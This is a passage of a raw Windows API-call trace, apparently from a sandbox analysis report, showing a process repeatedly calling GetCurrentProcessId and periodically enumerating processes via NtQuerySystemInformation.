GetCurrentProcessId () returned 0x10c0 [0203.398] GetCurrentProcessId () returned 0x10c0 [0203.398] GetCurrentProcessId () returned 0x10c0 [0203.398] GetCurrentProcessId () returned 0x10c0 [0203.398] GetCurrentProcessId () returned 0x10c0 [0203.398] GetCurrentProcessId () returned 0x10c0 [0203.398] GetCurrentProcessId () returned 0x10c0 [0203.398] GetCurrentProcessId () returned 0x10c0 [0203.398] GetCurrentProcessId () returned 0x10c0 [0203.398] GetCurrentProcessId () returned 0x10c0 [0203.398] GetCurrentProcessId () returned 0x10c0 [0203.398] GetCurrentProcessId () returned 0x10c0 [0203.398] GetCurrentProcessId () returned 0x10c0 [0203.398] GetCurrentProcessId () returned 0x10c0 [0203.398] GetCurrentProcessId () returned 0x10c0 [0203.398] GetCurrentProcessId () returned 0x10c0 [0203.398] GetCurrentProcessId () returned 0x10c0 [0203.398] GetCurrentProcessId () returned 0x10c0 [0203.398] GetCurrentProcessId () returned 0x10c0 [0203.398] GetCurrentProcessId () returned 0x10c0 [0203.398] GetCurrentProcessId () returned 0x10c0 [0203.398] GetCurrentProcessId () returned 0x10c0 [0203.398] GetCurrentProcessId () returned 0x10c0 [0203.399] GetCurrentProcessId () returned 0x10c0 [0203.399] GetCurrentProcessId () returned 0x10c0 [0203.399] GetCurrentProcessId () returned 0x10c0 [0203.399] GetCurrentProcessId () returned 0x10c0 [0203.399] GetCurrentProcessId () returned 0x10c0 [0203.399] GetCurrentProcessId () returned 0x10c0 [0203.399] GetCurrentProcessId () returned 0x10c0 [0203.399] GetCurrentProcessId () returned 0x10c0 [0203.399] GetCurrentProcessId () returned 0x10c0 [0203.399] GetCurrentProcessId () returned 0x10c0 [0203.399] GetCurrentProcessId () returned 0x10c0 [0203.399] GetCurrentProcessId () returned 0x10c0 [0203.399] GetCurrentProcessId () returned 0x10c0 [0203.399] GetCurrentProcessId () returned 0x10c0 [0203.399] GetCurrentProcessId () returned 0x10c0 [0203.399] GetCurrentProcessId () returned 0x10c0 [0203.399] GetCurrentProcessId () returned 0x10c0 [0203.399] GetCurrentProcessId () returned 0x10c0 [0203.399] GetCurrentProcessId () returned 0x10c0 [0203.399] GetCurrentProcessId () returned 0x10c0 [0203.399] GetCurrentProcessId () returned 0x10c0 [0203.399] GetCurrentProcessId () returned 0x10c0 [0203.399] GetCurrentProcessId () returned 0x10c0 [0203.399] GetCurrentProcessId () returned 0x10c0 [0203.399] GetCurrentProcessId () returned 0x10c0 [0204.028] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1de00) returned 0x0 [0204.693] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1de00) returned 0x0 [0205.307] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1de50) returned 0x0 [0205.921] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1de50) returned 0x0 [0206.571] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1def0) returned 0x0 [0207.652] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1dea0) returned 0x0 [0208.578] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1dea0) returned 0x0 [0209.376] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1dea0) returned 0x0 [0209.396] GetCurrentProcessId () returned 0x10c0 [0209.396] GetCurrentProcessId () returned 0x10c0 [0209.396] GetCurrentProcessId () returned 0x10c0 [0209.396] GetCurrentProcessId () returned 0x10c0 [0209.396] GetCurrentProcessId () returned 0x10c0 [0209.396] GetCurrentProcessId () returned 0x10c0 [0209.396] GetCurrentProcessId () returned 0x10c0 [0209.396] GetCurrentProcessId () returned 0x10c0 [0209.396] GetCurrentProcessId () returned 0x10c0 [0209.396] GetCurrentProcessId () returned 0x10c0 [0209.396] GetCurrentProcessId () returned 0x10c0 [0209.396] GetCurrentProcessId () returned 0x10c0 [0209.396] GetCurrentProcessId () returned 0x10c0 [0209.396] GetCurrentProcessId () returned 0x10c0 [0209.396] GetCurrentProcessId () returned 0x10c0 [0209.396] GetCurrentProcessId () returned 0x10c0 [0209.396] GetCurrentProcessId () returned 0x10c0 [0209.396] GetCurrentProcessId () returned 0x10c0 [0209.396] GetCurrentProcessId () returned 0x10c0 [0209.396] GetCurrentProcessId () returned 0x10c0 [0209.396] GetCurrentProcessId () returned 0x10c0 [0209.396] GetCurrentProcessId () returned 0x10c0 [0209.396] GetCurrentProcessId () returned 0x10c0 [0209.396] GetCurrentProcessId () returned 0x10c0 [0209.396] GetCurrentProcessId () returned 0x10c0 [0209.396] GetCurrentProcessId () returned 0x10c0 [0209.396] GetCurrentProcessId () returned 0x10c0 [0209.396] GetCurrentProcessId () returned 0x10c0 [0209.396] GetCurrentProcessId () returned 0x10c0 [0209.396] GetCurrentProcessId () returned 0x10c0 [0209.397] GetCurrentProcessId () returned 0x10c0 [0209.397] GetCurrentProcessId () returned 0x10c0 [0209.397] GetCurrentProcessId () returned 0x10c0 [0209.397] GetCurrentProcessId () returned 0x10c0 [0209.397] GetCurrentProcessId () returned 0x10c0 [0209.397] GetCurrentProcessId () returned 0x10c0 [0209.397] GetCurrentProcessId () returned 0x10c0 [0209.397] GetCurrentProcessId () returned 0x10c0 [0209.397] GetCurrentProcessId () returned 0x10c0 [0209.397] GetCurrentProcessId () returned 0x10c0 [0209.397] GetCurrentProcessId () returned 0x10c0 [0209.397] GetCurrentProcessId () returned 0x10c0 [0209.397] GetCurrentProcessId () returned 0x10c0 [0209.397] GetCurrentProcessId () returned 0x10c0 [0209.397] GetCurrentProcessId () returned 0x10c0 [0209.397] GetCurrentProcessId () returned 0x10c0 [0209.397] GetCurrentProcessId () returned 0x10c0 [0209.397] GetCurrentProcessId () returned 0x10c0 [0209.397] GetCurrentProcessId () returned 0x10c0 [0209.397] GetCurrentProcessId () returned 0x10c0 [0209.397] GetCurrentProcessId () returned 0x10c0 [0209.397] GetCurrentProcessId () returned 0x10c0 [0209.397] GetCurrentProcessId () returned 0x10c0 [0209.397] GetCurrentProcessId () returned 0x10c0 [0209.397] GetCurrentProcessId () returned 0x10c0 [0209.397] GetCurrentProcessId () returned 0x10c0 [0209.397] GetCurrentProcessId () returned 0x10c0 [0209.397] GetCurrentProcessId () returned 0x10c0 [0209.397] GetCurrentProcessId () returned 0x10c0 [0209.397] GetCurrentProcessId () returned 0x10c0 [0209.397] GetCurrentProcessId () returned 0x10c0 [0209.397] GetCurrentProcessId () returned 0x10c0 [0209.398] GetCurrentProcessId () returned 0x10c0 [0209.398] GetCurrentProcessId () returned 0x10c0 [0209.398] GetCurrentProcessId () returned 0x10c0 [0209.398] GetCurrentProcessId () returned 0x10c0 [0209.398] GetCurrentProcessId () returned 0x10c0 [0209.398] GetCurrentProcessId () returned 0x10c0 [0209.398] GetCurrentProcessId () returned 0x10c0 [0209.398] GetCurrentProcessId () returned 0x10c0 [0209.398] GetCurrentProcessId () returned 0x10c0 [0209.398] GetCurrentProcessId () returned 0x10c0 [0209.398] GetCurrentProcessId () returned 0x10c0 [0209.398] GetCurrentProcessId () returned 0x10c0 [0209.398] GetCurrentProcessId () returned 0x10c0 [0209.398] GetCurrentProcessId () returned 0x10c0 [0209.398] GetCurrentProcessId () returned 0x10c0 [0209.398] GetCurrentProcessId () returned 0x10c0 [0209.398] GetCurrentProcessId () returned 0x10c0 [0209.398] GetCurrentProcessId () returned 0x10c0 [0209.398] GetCurrentProcessId () returned 0x10c0 [0209.398] GetCurrentProcessId () returned 0x10c0 [0209.398] GetCurrentProcessId () returned 0x10c0 [0209.398] GetCurrentProcessId () returned 0x10c0 [0209.398] GetCurrentProcessId () returned 0x10c0 [0209.398] GetCurrentProcessId () returned 0x10c0 [0209.398] GetCurrentProcessId () returned 0x10c0 [0209.398] GetCurrentProcessId () returned 0x10c0 [0209.398] GetCurrentProcessId () returned 0x10c0 [0209.398] GetCurrentProcessId () returned 0x10c0 [0209.398] GetCurrentProcessId () returned 0x10c0 [0209.398] GetCurrentProcessId () returned 0x10c0 [0209.398] GetCurrentProcessId () returned 0x10c0 [0209.399] GetCurrentProcessId () returned 0x10c0 [0209.399] GetCurrentProcessId () returned 0x10c0 [0209.399] GetCurrentProcessId () returned 0x10c0 [0209.399] GetCurrentProcessId () returned 0x10c0 [0209.399] GetCurrentProcessId () returned 0x10c0 [0209.399] GetCurrentProcessId () returned 0x10c0 [0209.399] GetCurrentProcessId () returned 0x10c0 [0209.399] GetCurrentProcessId () returned 0x10c0 [0209.399] GetCurrentProcessId () returned 0x10c0 [0209.399] GetCurrentProcessId () returned 0x10c0 [0209.399] GetCurrentProcessId () returned 0x10c0 [0209.399] GetCurrentProcessId () returned 0x10c0 [0209.399] GetCurrentProcessId () returned 0x10c0 [0209.399] GetCurrentProcessId () returned 0x10c0 [0209.399] GetCurrentProcessId () returned 0x10c0 [0209.399] GetCurrentProcessId () returned 0x10c0 [0209.399] GetCurrentProcessId () returned 0x10c0 [0209.399] GetCurrentProcessId () returned 0x10c0 [0209.399] GetCurrentProcessId () returned 0x10c0 [0209.399] GetCurrentProcessId () returned 0x10c0 [0210.040] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1def0) returned 0x0 [0212.515] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1def0) returned 0x0 [0214.947] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1ddb0) returned 0x0 [0215.611] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1dd60) returned 0x0 [0217.065] GetCurrentProcessId () returned 0x10c0 [0217.065] GetCurrentProcessId () returned 0x10c0 [0217.065] GetCurrentProcessId () returned 0x10c0 [0217.065] GetCurrentProcessId () returned 0x10c0 [0217.065] GetCurrentProcessId () returned 0x10c0 [0217.065] GetCurrentProcessId () returned 0x10c0 [0217.065] GetCurrentProcessId () returned 0x10c0 [0217.065] GetCurrentProcessId () returned 0x10c0 [0217.065] GetCurrentProcessId () returned 0x10c0 [0217.065] GetCurrentProcessId () returned 0x10c0 [0217.065] GetCurrentProcessId () returned 0x10c0 [0217.065] GetCurrentProcessId () returned 0x10c0 [0217.065] GetCurrentProcessId () returned 0x10c0 [0217.065] GetCurrentProcessId () returned 0x10c0 [0217.065] GetCurrentProcessId () returned 0x10c0 [0217.065] GetCurrentProcessId () returned 0x10c0 [0217.065] GetCurrentProcessId () returned 0x10c0 [0217.065] GetCurrentProcessId () returned 0x10c0 [0217.065] GetCurrentProcessId () returned 0x10c0 [0217.065] GetCurrentProcessId () returned 0x10c0 [0217.065] GetCurrentProcessId () returned 0x10c0 [0217.065] GetCurrentProcessId () returned 0x10c0 [0217.065] GetCurrentProcessId () returned 0x10c0 [0217.065] GetCurrentProcessId () returned 0x10c0 [0217.065] GetCurrentProcessId () returned 0x10c0 [0217.065] GetCurrentProcessId () returned 0x10c0 [0217.066] GetCurrentProcessId () returned 0x10c0 [0217.066] GetCurrentProcessId () returned 0x10c0 [0217.066] GetCurrentProcessId () returned 0x10c0 [0217.066] GetCurrentProcessId () returned 0x10c0 [0217.066] GetCurrentProcessId () returned 0x10c0 [0217.066] GetCurrentProcessId () returned 0x10c0 [0217.066] GetCurrentProcessId () returned 0x10c0 [0217.066] GetCurrentProcessId () returned 0x10c0 [0217.066] GetCurrentProcessId () returned 0x10c0 [0217.066] GetCurrentProcessId () returned 0x10c0 [0217.066] GetCurrentProcessId () returned 0x10c0 [0217.066] GetCurrentProcessId () returned 0x10c0 [0217.066] GetCurrentProcessId () returned 0x10c0 [0217.066] GetCurrentProcessId () returned 0x10c0 [0217.066] GetCurrentProcessId () returned 0x10c0 [0217.066] GetCurrentProcessId () returned 0x10c0 [0217.066] GetCurrentProcessId () returned 0x10c0 [0217.066] GetCurrentProcessId () returned 0x10c0 [0217.066] GetCurrentProcessId () returned 0x10c0 [0217.066] GetCurrentProcessId () returned 0x10c0 [0217.066] GetCurrentProcessId () returned 0x10c0 [0217.066] GetCurrentProcessId () returned 0x10c0 [0217.066] GetCurrentProcessId () returned 0x10c0 [0217.066] GetCurrentProcessId () returned 0x10c0 [0217.066] GetCurrentProcessId () returned 0x10c0 [0217.066] GetCurrentProcessId () returned 0x10c0 [0217.066] GetCurrentProcessId () returned 0x10c0 [0217.066] GetCurrentProcessId () returned 0x10c0 [0217.066] GetCurrentProcessId () returned 0x10c0 [0217.066] GetCurrentProcessId () returned 0x10c0 [0217.066] GetCurrentProcessId () returned 0x10c0 [0217.067] GetCurrentProcessId () returned 0x10c0 [0217.067] GetCurrentProcessId () returned 0x10c0 [0217.067] GetCurrentProcessId () returned 0x10c0 [0217.067] GetCurrentProcessId () returned 0x10c0 [0217.067] GetCurrentProcessId () returned 0x10c0 [0217.067] GetCurrentProcessId () returned 0x10c0 [0217.067] GetCurrentProcessId () returned 0x10c0 [0217.067] GetCurrentProcessId () returned 0x10c0 [0217.067] GetCurrentProcessId () returned 0x10c0 [0217.067] GetCurrentProcessId () returned 0x10c0 [0217.067] GetCurrentProcessId () returned 0x10c0 [0217.067] GetCurrentProcessId () returned 0x10c0 [0217.067] GetCurrentProcessId () returned 0x10c0 [0217.067] GetCurrentProcessId () returned 0x10c0 [0217.067] GetCurrentProcessId () returned 0x10c0 [0217.067] GetCurrentProcessId () returned 0x10c0 [0217.067] GetCurrentProcessId () returned 0x10c0 [0217.991] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1dea0) returned 0x0 [0226.977] GetCurrentProcessId () returned 0x10c0 [0226.977] GetCurrentProcessId () returned 0x10c0 [0226.977] GetCurrentProcessId () returned 0x10c0 [0226.977] GetCurrentProcessId () returned 0x10c0 [0226.977] GetCurrentProcessId () returned 0x10c0 [0226.977] GetCurrentProcessId () returned 0x10c0 [0226.977] GetCurrentProcessId () returned 0x10c0 [0226.977] GetCurrentProcessId () returned 0x10c0 [0226.977] GetCurrentProcessId () returned 0x10c0 [0226.977] GetCurrentProcessId () returned 0x10c0 [0226.977] GetCurrentProcessId () returned 0x10c0 [0226.978] GetCurrentProcessId () returned 0x10c0 [0226.978] GetCurrentProcessId () returned 0x10c0 [0226.978] GetCurrentProcessId () returned 0x10c0 [0226.978] GetCurrentProcessId () returned 0x10c0 [0226.978] GetCurrentProcessId () returned 0x10c0 [0226.978] GetCurrentProcessId () returned 0x10c0 [0226.978] GetCurrentProcessId () returned 0x10c0 [0226.978] GetCurrentProcessId () returned 0x10c0 [0226.978] GetCurrentProcessId () returned 0x10c0 [0226.978] GetCurrentProcessId () returned 0x10c0 [0226.978] GetCurrentProcessId () returned 0x10c0 [0226.978] GetCurrentProcessId () returned 0x10c0 [0226.978] GetCurrentProcessId () returned 0x10c0 [0226.978] GetCurrentProcessId () returned 0x10c0 [0226.978] GetCurrentProcessId () returned 0x10c0 [0226.978] GetCurrentProcessId () returned 0x10c0 [0226.978] GetCurrentProcessId () returned 0x10c0 [0226.978] GetCurrentProcessId () returned 0x10c0 [0226.978] GetCurrentProcessId () returned 0x10c0 [0226.978] GetCurrentProcessId () returned 0x10c0 [0226.978] GetCurrentProcessId () returned 0x10c0 [0226.978] GetCurrentProcessId () returned 0x10c0 [0226.978] GetCurrentProcessId () returned 0x10c0 [0226.978] GetCurrentProcessId () returned 0x10c0 [0226.978] GetCurrentProcessId () returned 0x10c0 [0226.978] GetCurrentProcessId () returned 0x10c0 [0226.978] GetCurrentProcessId () returned 0x10c0 [0226.978] GetCurrentProcessId () returned 0x10c0 [0226.978] GetCurrentProcessId () returned 0x10c0 [0226.978] GetCurrentProcessId () returned 0x10c0 [0226.979] GetCurrentProcessId () returned 0x10c0 [0226.979] GetCurrentProcessId () returned 0x10c0 [0226.979] GetCurrentProcessId () returned 0x10c0 [0226.979] GetCurrentProcessId () returned 0x10c0 [0226.979] GetCurrentProcessId () returned 0x10c0 [0226.979] GetCurrentProcessId () returned 0x10c0 [0226.979] GetCurrentProcessId () returned 0x10c0 [0226.979] GetCurrentProcessId () returned 0x10c0 [0226.979] GetCurrentProcessId () returned 0x10c0 [0226.979] GetCurrentProcessId () returned 0x10c0 [0226.979] GetCurrentProcessId () returned 0x10c0 [0226.979] GetCurrentProcessId () returned 0x10c0 [0226.979] GetCurrentProcessId () returned 0x10c0 [0226.979] GetCurrentProcessId () returned 0x10c0 [0226.979] GetCurrentProcessId () returned 0x10c0 [0226.979] GetCurrentProcessId () returned 0x10c0 [0226.979] GetCurrentProcessId () returned 0x10c0 [0226.979] GetCurrentProcessId () returned 0x10c0 [0226.979] GetCurrentProcessId () returned 0x10c0 [0226.979] GetCurrentProcessId () returned 0x10c0 [0226.979] GetCurrentProcessId () returned 0x10c0 [0226.979] GetCurrentProcessId () returned 0x10c0 [0226.979] GetCurrentProcessId () returned 0x10c0 [0226.980] GetCurrentProcessId () returned 0x10c0 [0226.980] GetCurrentProcessId () returned 0x10c0 [0226.980] GetCurrentProcessId () returned 0x10c0 [0226.980] GetCurrentProcessId () returned 0x10c0 [0226.980] GetCurrentProcessId () returned 0x10c0 [0226.980] GetCurrentProcessId () returned 0x10c0 [0226.980] GetCurrentProcessId () returned 0x10c0 [0226.980] GetCurrentProcessId () returned 0x10c0 [0226.980] GetCurrentProcessId () returned 0x10c0 [0226.980] GetCurrentProcessId () returned 0x10c0 [0226.980] GetCurrentProcessId () returned 0x10c0 [0226.980] GetCurrentProcessId () returned 0x10c0 [0226.980] GetCurrentProcessId () returned 0x10c0 [0226.980] GetCurrentProcessId () returned 0x10c0 [0226.980] GetCurrentProcessId () returned 0x10c0 [0226.980] GetCurrentProcessId () returned 0x10c0 [0226.980] GetCurrentProcessId () returned 0x10c0 [0226.980] GetCurrentProcessId () returned 0x10c0 [0226.980] GetCurrentProcessId () returned 0x10c0 [0226.980] GetCurrentProcessId () returned 0x10c0 [0226.980] GetCurrentProcessId () returned 0x10c0 [0226.980] GetCurrentProcessId () returned 0x10c0 [0226.980] GetCurrentProcessId () returned 0x10c0 [0226.980] GetCurrentProcessId () returned 0x10c0 [0226.980] GetCurrentProcessId () returned 0x10c0 [0226.981] GetCurrentProcessId () returned 0x10c0 [0226.981] GetCurrentProcessId () returned 0x10c0 [0226.981] GetCurrentProcessId () returned 0x10c0 [0226.981] GetCurrentProcessId () returned 0x10c0 [0226.981] GetCurrentProcessId () returned 0x10c0 [0226.981] GetCurrentProcessId () returned 0x10c0 [0226.981] GetCurrentProcessId () returned 0x10c0 [0226.981] GetCurrentProcessId () returned 0x10c0 [0226.981] GetCurrentProcessId () returned 0x10c0 [0226.981] GetCurrentProcessId () returned 0x10c0 [0226.981] GetCurrentProcessId () returned 0x10c0 [0226.981] GetCurrentProcessId () returned 0x10c0 [0226.981] GetCurrentProcessId () returned 0x10c0 [0226.981] GetCurrentProcessId () returned 0x10c0 [0226.981] GetCurrentProcessId () returned 0x10c0 [0226.981] GetCurrentProcessId () returned 0x10c0 [0226.981] GetCurrentProcessId () returned 0x10c0 [0226.981] GetCurrentProcessId () returned 0x10c0 [0226.981] GetCurrentProcessId () returned 0x10c0 [0226.981] GetCurrentProcessId () returned 0x10c0 [0226.981] GetCurrentProcessId () returned 0x10c0 [0226.981] GetCurrentProcessId () returned 0x10c0 [0226.981] GetCurrentProcessId () returned 0x10c0 [0227.572] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1dbb0) returned 0x0 [0227.585] GetCurrentProcessId () returned 0x10c0 [0227.585] GetCurrentProcessId () returned 0x10c0 [0227.585] GetCurrentProcessId () returned 0x10c0 [0227.585] GetCurrentProcessId () returned 0x10c0 [0227.585] GetCurrentProcessId () returned 0x10c0 [0227.585] GetCurrentProcessId () returned 0x10c0 [0227.585] GetCurrentProcessId () returned 0x10c0 [0227.585] GetCurrentProcessId () returned 0x10c0 [0227.585] GetCurrentProcessId () returned 0x10c0 [0227.585] GetCurrentProcessId () returned 0x10c0 [0227.585] GetCurrentProcessId () returned 0x10c0 [0227.585] GetCurrentProcessId () returned 0x10c0 [0227.585] GetCurrentProcessId () returned 0x10c0 [0227.585] GetCurrentProcessId () returned 0x10c0 [0227.585] GetCurrentProcessId () returned 0x10c0 [0227.585] GetCurrentProcessId () returned 0x10c0 [0227.585] GetCurrentProcessId () returned 0x10c0 [0227.585] GetCurrentProcessId () returned 0x10c0 [0227.585] GetCurrentProcessId () returned 0x10c0 [0227.585] GetCurrentProcessId () returned 0x10c0 [0227.585] GetCurrentProcessId () returned 0x10c0 [0227.585] GetCurrentProcessId () returned 0x10c0 [0227.586] GetCurrentProcessId () returned 0x10c0 [0227.586] GetCurrentProcessId () returned 0x10c0 [0227.586] GetCurrentProcessId () returned 0x10c0 [0227.586] GetCurrentProcessId () returned 0x10c0 [0227.586] GetCurrentProcessId () returned 0x10c0 [0227.586] GetCurrentProcessId () returned 0x10c0 [0227.586] GetCurrentProcessId () returned 0x10c0 [0227.586] GetCurrentProcessId () returned 0x10c0 [0227.586] GetCurrentProcessId () returned 0x10c0 [0227.586] GetCurrentProcessId () returned 0x10c0 [0227.586] GetCurrentProcessId () returned 0x10c0 [0227.586] GetCurrentProcessId () returned 0x10c0 [0227.586] GetCurrentProcessId () returned 0x10c0 [0227.586] GetCurrentProcessId () returned 0x10c0 [0227.586] GetCurrentProcessId () returned 0x10c0 [0227.586] GetCurrentProcessId () returned 0x10c0 [0227.586] GetCurrentProcessId () returned 0x10c0 [0227.586] GetCurrentProcessId () returned 0x10c0 [0227.586] GetCurrentProcessId () returned 0x10c0 [0227.586] GetCurrentProcessId () returned 0x10c0 [0227.586] GetCurrentProcessId () returned 0x10c0 [0227.586] GetCurrentProcessId () returned 0x10c0 [0227.586] GetCurrentProcessId () returned 0x10c0 [0227.586] GetCurrentProcessId () returned 0x10c0 [0227.586] GetCurrentProcessId () returned 0x10c0 [0227.586] GetCurrentProcessId () returned 0x10c0 [0227.586] GetCurrentProcessId () returned 0x10c0 [0227.586] GetCurrentProcessId () returned 0x10c0 [0227.586] GetCurrentProcessId () returned 0x10c0 [0227.586] GetCurrentProcessId () returned 0x10c0 [0227.587] GetCurrentProcessId () returned 0x10c0 [0227.587] GetCurrentProcessId () returned 0x10c0 [0227.587] GetCurrentProcessId () returned 0x10c0 [0227.587] GetCurrentProcessId () returned 0x10c0 [0227.587] GetCurrentProcessId () returned 0x10c0 [0227.587] GetCurrentProcessId () returned 0x10c0 [0227.587] GetCurrentProcessId () returned 0x10c0 [0227.587] GetCurrentProcessId () returned 0x10c0 [0227.587] GetCurrentProcessId () returned 0x10c0 [0227.587] GetCurrentProcessId () returned 0x10c0 [0227.587] GetCurrentProcessId () returned 0x10c0 [0227.587] GetCurrentProcessId () returned 0x10c0 [0227.587] GetCurrentProcessId () returned 0x10c0 [0227.587] GetCurrentProcessId () returned 0x10c0 [0227.587] GetCurrentProcessId () returned 0x10c0 [0227.587] GetCurrentProcessId () returned 0x10c0 [0227.587] GetCurrentProcessId () returned 0x10c0 [0227.587] GetCurrentProcessId () returned 0x10c0 [0227.587] GetCurrentProcessId () returned 0x10c0 [0227.587] GetCurrentProcessId () returned 0x10c0 [0227.587] GetCurrentProcessId () returned 0x10c0 [0227.587] GetCurrentProcessId () returned 0x10c0 [0227.587] GetCurrentProcessId () returned 0x10c0 [0227.587] GetCurrentProcessId () returned 0x10c0 [0227.587] GetCurrentProcessId () returned 0x10c0 [0227.587] GetCurrentProcessId () returned 0x10c0 [0227.587] GetCurrentProcessId () returned 0x10c0 [0227.587] GetCurrentProcessId () returned 0x10c0 [0227.587] GetCurrentProcessId () returned 0x10c0 [0227.587] GetCurrentProcessId () returned 0x10c0 [0227.588] GetCurrentProcessId () returned 0x10c0 [0227.588] GetCurrentProcessId () returned 0x10c0 [0227.588] GetCurrentProcessId () returned 0x10c0 [0227.588] GetCurrentProcessId () returned 0x10c0 [0227.588] GetCurrentProcessId () returned 0x10c0 [0227.588] GetCurrentProcessId () returned 0x10c0 [0227.588] GetCurrentProcessId () returned 0x10c0 [0227.588] GetCurrentProcessId () returned 0x10c0 [0227.588] GetCurrentProcessId () returned 0x10c0 [0227.588] GetCurrentProcessId () returned 0x10c0 [0227.588] GetCurrentProcessId () returned 0x10c0 [0227.588] GetCurrentProcessId () returned 0x10c0 [0227.588] GetCurrentProcessId () returned 0x10c0 [0227.588] GetCurrentProcessId () returned 0x10c0 [0227.588] GetCurrentProcessId () returned 0x10c0 [0227.588] GetCurrentProcessId () returned 0x10c0 [0227.588] GetCurrentProcessId () returned 0x10c0 [0227.588] GetCurrentProcessId () returned 0x10c0 [0227.588] GetCurrentProcessId () returned 0x10c0 [0227.588] GetCurrentProcessId () returned 0x10c0 [0227.588] GetCurrentProcessId () returned 0x10c0 [0227.588] GetCurrentProcessId () returned 0x10c0 [0227.588] GetCurrentProcessId () returned 0x10c0 [0227.588] GetCurrentProcessId () returned 0x10c0 [0227.588] GetCurrentProcessId () returned 0x10c0 [0227.589] GetCurrentProcessId () returned 0x10c0 [0227.589] GetCurrentProcessId () returned 0x10c0 [0227.589] GetCurrentProcessId () returned 0x10c0 [0227.589] GetCurrentProcessId () returned 0x10c0 [0227.589] GetCurrentProcessId () returned 0x10c0 [0228.141] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1dbb0) returned 0x0 [0228.149] GetCurrentProcessId () returned 0x10c0 [0228.149] GetCurrentProcessId () returned 0x10c0 [0228.149] GetCurrentProcessId () returned 0x10c0 [0228.149] GetCurrentProcessId () returned 0x10c0 [0228.149] GetCurrentProcessId () returned 0x10c0 [0228.149] GetCurrentProcessId () returned 0x10c0 [0228.149] GetCurrentProcessId () returned 0x10c0 [0228.149] GetCurrentProcessId () returned 0x10c0 [0228.149] GetCurrentProcessId () returned 0x10c0 [0228.149] GetCurrentProcessId () returned 0x10c0 [0228.149] GetCurrentProcessId () returned 0x10c0 [0228.149] GetCurrentProcessId () returned 0x10c0 [0228.149] GetCurrentProcessId () returned 0x10c0 [0228.149] GetCurrentProcessId () returned 0x10c0 [0228.149] GetCurrentProcessId () returned 0x10c0 [0228.149] GetCurrentProcessId () returned 0x10c0 [0228.149] GetCurrentProcessId () returned 0x10c0 [0228.149] GetCurrentProcessId () returned 0x10c0 [0228.149] GetCurrentProcessId () returned 0x10c0 [0228.149] GetCurrentProcessId () returned 0x10c0 [0228.149] GetCurrentProcessId () returned 0x10c0 [0228.149] GetCurrentProcessId () returned 0x10c0 [0228.149] GetCurrentProcessId () returned 0x10c0 [0228.149] GetCurrentProcessId () returned 0x10c0 [0228.149] GetCurrentProcessId () returned 0x10c0 [0228.149] GetCurrentProcessId () returned 0x10c0 [0228.149] GetCurrentProcessId () returned 0x10c0 [0228.149] GetCurrentProcessId () returned 0x10c0 [0228.149] GetCurrentProcessId () returned 0x10c0 [0228.150] GetCurrentProcessId () returned 0x10c0 [0228.150] GetCurrentProcessId () returned 0x10c0 [0228.150] GetCurrentProcessId () returned 0x10c0 [0228.150] GetCurrentProcessId () returned 0x10c0 [0228.150] GetCurrentProcessId () returned 0x10c0 [0228.150] GetCurrentProcessId () returned 0x10c0 [0228.150] GetCurrentProcessId () returned 0x10c0 [0228.150] GetCurrentProcessId () returned 0x10c0 [0228.150] GetCurrentProcessId () returned 0x10c0 [0228.150] GetCurrentProcessId () returned 0x10c0 [0228.150] GetCurrentProcessId () returned 0x10c0 [0228.150] GetCurrentProcessId () returned 0x10c0 [0228.150] GetCurrentProcessId () returned 0x10c0 [0228.150] GetCurrentProcessId () returned 0x10c0 [0228.150] GetCurrentProcessId () returned 0x10c0 [0228.150] GetCurrentProcessId () returned 0x10c0 [0228.150] GetCurrentProcessId () returned 0x10c0 [0228.150] GetCurrentProcessId () returned 0x10c0 [0228.150] GetCurrentProcessId () returned 0x10c0 [0228.150] GetCurrentProcessId () returned 0x10c0 [0228.150] GetCurrentProcessId () returned 0x10c0 [0228.150] GetCurrentProcessId () returned 